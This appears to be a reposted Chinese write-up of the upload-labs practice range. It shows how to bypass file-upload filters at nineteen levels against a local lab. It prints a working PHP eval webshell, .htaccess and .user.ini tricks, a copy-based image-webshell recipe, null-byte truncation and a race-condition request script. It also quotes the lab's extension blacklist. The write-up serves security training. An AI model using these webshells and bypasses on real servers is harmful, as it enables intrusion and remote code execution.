upload-labs-master靶场训练笔记

2004.2.17

level-1

(前端验证) 

新建一个写有下面一句话木马的php文件,然后把后缀改为png

<?php @eval($_POST["abc"]); ?>

用bp抓包后更改文件后缀为php

再用蚁剑等工具链接即可拿下shell

 

level-2 

(后端验证) 

相较于level-1,后端验证可以直接传入php文件再更改Content-Type类型为image/png

(当然level-1的操作也是可以用的) 

 

后面的链接操作和level-1一样 

level-3

 (黑名单 - phtml绕过)

这里我用新版的小皮没有实现,然后给小皮降了版本后就可以了,用的是phpstudy2018

(具体原因未查明(懒癌晚期绝症患者),猜测是Apache的版本原因,或者是小皮的一些配置文件不一样) 

如图所示,打开 Apache 的配置文件

用 ctrl+f 找到 AddType application/x-httpd-php .php .phtml 并把前面的 # 删掉

保存重启一下,这下就可以解析 .phtml 的文件了

为了方便起见(别问,问就是懒╮(๑•́ ₃•̀๑)╭),后面都用<?php phpinfo(); ?>的一句话木马作为演示

<?php phpinfo(); ?>

修改文件后缀为.phtml,然后上传文件,并打开图片

出现如图界面即为成功

level-4

(黑名单 - htaccess绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这些后缀名的文件,那我们可以用 .htaccess 的文件去绕过

在黑盒测试中,可以使用bp爆破来分析哪些文件没被过滤

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阴止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

要使htaccess文件生效需要在Apache 的配置文件中设置 AllowOverride为All(默认是All)

创建一个名字为.htaccess的文件

Ps:如果电脑报错,可以尝试bp抓包时修改

.htaccess

写入可以将后来文件以php文件解释的内容 

SetHandler application/x-httpd-php

然后先上传.htaccess文件,在上传后缀是.png内容是一句话木马的文件

然后打开图片即可

level-5

(黑名单 - .user.ini 绕过)

我用php 5.4.45有问题,先改到 php 5.3.29 

然后修改php的配置文件

修改 user_ini.cache_ttl 后面的数字,后面的数字代表传入文件后相应的秒数,比如300的话,传入木马文件后得等300s才能执行

先上传一个以auto_prepend_file=text.png(等号后面的名字可自定义)为内容的.user.ini文件【用户自定义的配置文件】。

.user.ini文件里的意思是:所有的php文件都自动包含text.png文件,.user.ini相当于一个用户自定义的php.ini。

auto_prepend_file=text.png

然后再上传一个内容为一句话木马的命名为text.png的文件 

然后再查看readme.php文件(自带的文件) ,就可以执行刚才的木马文件

level-6

(黑名单 - 大小写绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini 

这些后缀名的文件,但是没有强制转换为小写的代码,那我们可以用 .phP 的文件去绕过 

用bp抓包后修改文件名 

如果出现如下错误,是php版本的问题,php5.4.45是没问题的

level-7

(黑名单 - 空格绕过)

 Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Bp截断HTTP请求,修改对应的文件名并添加空格

bp抓包后在文件后缀后面添加空格

level-8

(黑名单 - 点号绕过)

 原理和空格绕过类似

bp抓包后在文件后缀后面添加 .

level-9

(黑名单 - ::$DATA绕过) 

windows环境中,如果文件名+ ::$DATA 会把之后的数据当成文件流处理(相当于注释),不会检测后缀名.且保持 ::$DATA 之前的文件名

查看时去掉后面的 ::$DATA ,否则会403

level-10

(路径拼接绕过) 

没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:test.php.+空格+.
deldot删除最后一个点后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.利用Windows自动去除最后一个点,导致成功上传1.php

抓包修改文件后缀为.php. .

level-11

(双写绕过)

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)(只替换一次)

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

Ps:

  • 该函数不区分大小写。可以使用 str_replace() 函数来执行区分大小写的搜索
  • 该函数是二进制安全的

说白了就是后缀改为.pphphp 

level-12

(白名单 - GET型%00绕过)

00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

Ps:

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与magic_quotes_gpc,addslashes函数

先将版本降至 5.2.17

再取消勾选 magic_quotes_gpc

 然后重启一下

在上传带有木马的php文件,然后如图修改 

最后访问文件

level-13

(白名单 - POST型%00绕过)

 上传带有木马的php文件,然后如图修改

 然后再16进制中修改刚才随便加的字符的16进制码为00

 

然后放包即可 

level-14

(文件包含)

图片Webshell制作

先准备一张正常的图片和一个带有木马的php文件

然后可以通过cmd制作图片马

copy 1.png /b + test.php /a test.png

通过记事本打开刚刚制作的test.png,划到最下面可以看到写入的一句话木马

然后上传图片后点击文件包含漏洞的文字可以转跳到带有文件包含漏洞的界面

通过复制图片链接可以知道文件的名字,然后如图拼接url可以实现漏洞的利用 

http://127.0.0.1/upload-labs-master/include.php?file=upload/4620240220064505.png

level-15

(文件包含)

 和level-14不同的是,level-14只检测了文件头,而level-15这是用了getimagesize()监测图像的大小和格式,只是检测方式不同,level-14做出的图片马依旧可以通过本关

level-16

(文件包含)

依然是检测方式的不同,源码使用了 exif_imagetype 函数所以要开启php_exif拓展

后续操作和level-14一模一样

level-17

(二次渲染)

所谓的二次渲染简单讲就是上传一张图片,服务器会对图片进行压缩,然后我们通过比较压缩前后的文件找到没被压缩的地方,并把那个地方替换成一句话木马,再上传来绕过的操作

最好找相同地方的文件就是gif了(我绝对不会说因为这个人太菜了而找不到png文件相同的地方的事实>_<|||) 

所以我们选用gif图片来演示 

制作gif图片马的方式和制作png图片马的方式一样

上传图片后,保存新的图片 

放入编码器(我用的是010 editor)中可以看到经过渲染,把原本的木马语句变没了

然后可以看到图中框选的区域就是压缩前后保持一样的地方

现在开始对test.gif进行操作,因为一句话木马是<?php phpinfo();?>所以字节码是

3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

注意这里3C对的是C列,3E对的是E列,后面粘贴时的起始位和结束位要对上

然后在刚才找到的没被压缩的地方截取一段(列数对上就行)替换成刚才的木马的字节码

然后再重新上传修改后的图片即可

level-18

(条件竞争)

先代码审计 

条件竞争就是赶在系统删除文件之前,运行木马文件,这样及使木马文件被删除了,运行的结果也已经被保留了

这里对木马文件进行更改,使其被执行后会生成一个名为success.php内容为<?php phpinfo();?>');?>的木马文件

<?php fwrite(fopen('success.php','w'),'<?php phpinfo();?>');?>

然而手动去竞争肯定是不太现实的,成功率太低了,要用魔法来打败魔法

先利用bp进行循环发送木马文件

在攻击模块中设置成无限循环,这样就可以一直发送木马文件

然后用python脚本进行访问文件

import requests
url = "http://127.0.0.1/upload-labs-master/upload/666.php"
print("开始")
while True:res = requests.get(url)if res.status_code == 200:print("成功")break

成功后就成功了

level-19

(条件竞争)

利用图片木马结合文件包含,并且要在图片马被删除之前访问到它与level-18类似

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/577020.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

政安晨:专栏目录【TensorFlow与Keras机器学习实战】

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: TensorFlow与Keras机器学习实战 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; 本篇是作者政安晨的专栏《TensorFlow与Keras机器…

代码随想录笔记|C++数据结构与算法学习笔记-栈和队列(〇)|stack、queue、单调队列和优先级队列(priority_queue)、大顶堆和小顶堆

文章目录 stack容器stack 基本概念常用接口构造函数赋值操作数据存取大小操作 queue容器queue常用接口构造函数&#xff1a;赋值操作数据存取大小操作 单调队列定义实现代码实现 基本应用一&#xff1a;滑动窗口思路与算法 优先级队列定义大顶堆&#xff08;最大堆&#xff09;…

Tomcat项目创建 以及 在IDEA当中集成Tomcat

一: 有关Tomcat的WEB项目创建 TOMCAT项目的创建有两种方式, 第一种是利用骨架进行创建, 第二种是利用填补进行相应的创建, 不适用骨架进行创建 ,在这里主要聊第二种 (使用IDEA版本为2023) 1. 创建MAVEN项目, 非骨架形式 2.在相应的pom文件当中设置打包方式 为 war包的打包形…

centos7网卡无法启动

今天启动虚拟机&#xff0c;发现网络不通&#xff0c;检测了IP地址等都没有问题,重启网卡服务提示失败&#xff0c;最后查看了虚拟机的网络服务状态&#xff0c;报错&#xff1a; 执行以下操作可以解决&#xff1a; systemctl stop NetworkManager #停止网络守护进程 systemc…

如何使用固定公网地址远程连接Python编译器并将运行结果返回到Pycharm

文章目录 一、前期准备1. 检查IDE版本是否支持2. 服务器需要开通SSH服务 二、Pycharm本地链接服务器测试1. 配置服务器python解释器 三、使用内网穿透实现异地链接服务器开发1. 服务器安装Cpolar2. 创建远程连接公网地址 四、使用固定TCP地址远程开发 本文主要介绍如何使用Pych…

IP地址暴露可能带来的风险和危害

当自己的IP地址暴露时&#xff0c;可能会面临一系列的风险和潜在危害。IP地址作为互联网上连接用户与网络设备的标识符&#xff0c;其安全性对于个人信息安全至关重要。以下将详细探讨IP地址暴露可能带来的后果&#xff0c;并提出相应的防范措施。 首先&#xff0c;IP地址暴露可…

2024 3.23~3.29周报

上周工作 SVInvNet论文研读 本周计划 加入DenseNet&#xff0c;修改网络架构&#xff0c;跑代码 总结 DenseNet 密集块&#xff1a;DenseNet将网络分成多个密集块&#xff08;Dense Block)。在每个密集块内&#xff0c;每一层都连接到前面所有的层。这种跳跃连接有助于解…

T-Mobile紫卡激活(Ultra)

https://my.ultramobile.com/paygo/activation 人工智能学习网站&#xff1a; https://chat.xutongbao.top

canvas画图,拖动画好的椭圆边框

提示&#xff1a;canvas画图&#xff0c;拖动画好的椭圆边框 文章目录 前言一、拖动画好的椭圆边框总结 前言 一、拖动画好的椭圆边框 test.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name&q…

【慧天HTWATER】可以兼容主流GIS(shape、geodatabase、raster等)数据格式吗

​慧天[HTWATER]软件简介 针对城市排水系统基础设施数据管理的需求&#xff0c;以及水文、水力及水质模拟对数据的需求&#xff0c;实现了以数据库方式对相应数据的存储。可以对分流制排水系统及合流制排水系统进行地表水文、管网水力、水质过程的模拟计算。可以对城市低影响开…

新能源充电桩站场AI视频智能分析烟火检测方案及技术特点分析

新能源汽车充电起火的原因多种多样&#xff0c;涉及技术、设备、操作等多个方面。从技术层面来看&#xff0c;新能源汽车的电池管理系统可能存在缺陷&#xff0c;导致电池在充电过程中出现过热、短路等问题&#xff0c;从而引发火灾。在设备方面&#xff0c;充电桩的设计和生产…

网络七层模型之网络层:理解网络通信的架构(三)

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…